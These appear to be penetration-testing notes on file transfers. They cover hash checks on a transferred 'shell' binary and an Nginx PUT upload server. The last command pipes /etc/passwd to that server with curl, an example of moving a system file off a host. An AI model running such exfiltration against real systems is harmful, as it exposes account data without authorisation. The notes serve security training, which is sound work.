# Transfering Files

## Validating File Transfers

After transferring a file, confirm type and integrity:

```bash
# Linux — check file type
file shell
# e.g. shell: ELF 64-bit LSB executable, x86-64 ...

# Linux — MD5 hash
md5sum shell

# Windows — MD5 hash
Get-FileHash C:\Users\Public\file.exe -Algorithm MD5
```

Hashes must match on both sides; if not, re-transfer.

## Nginx PUT Upload Server

```nginx
# /etc/nginx/sites-available/upload.conf
server {
    listen 9001;
    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}
```

```bash
sudo mkdir -p /var/www/uploads/SecretUploadDirectory
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
sudo rm /etc/nginx/sites-enabled/default    # if port 80 conflict
sudo systemctl restart nginx.service

# Upload with curl
curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt
```
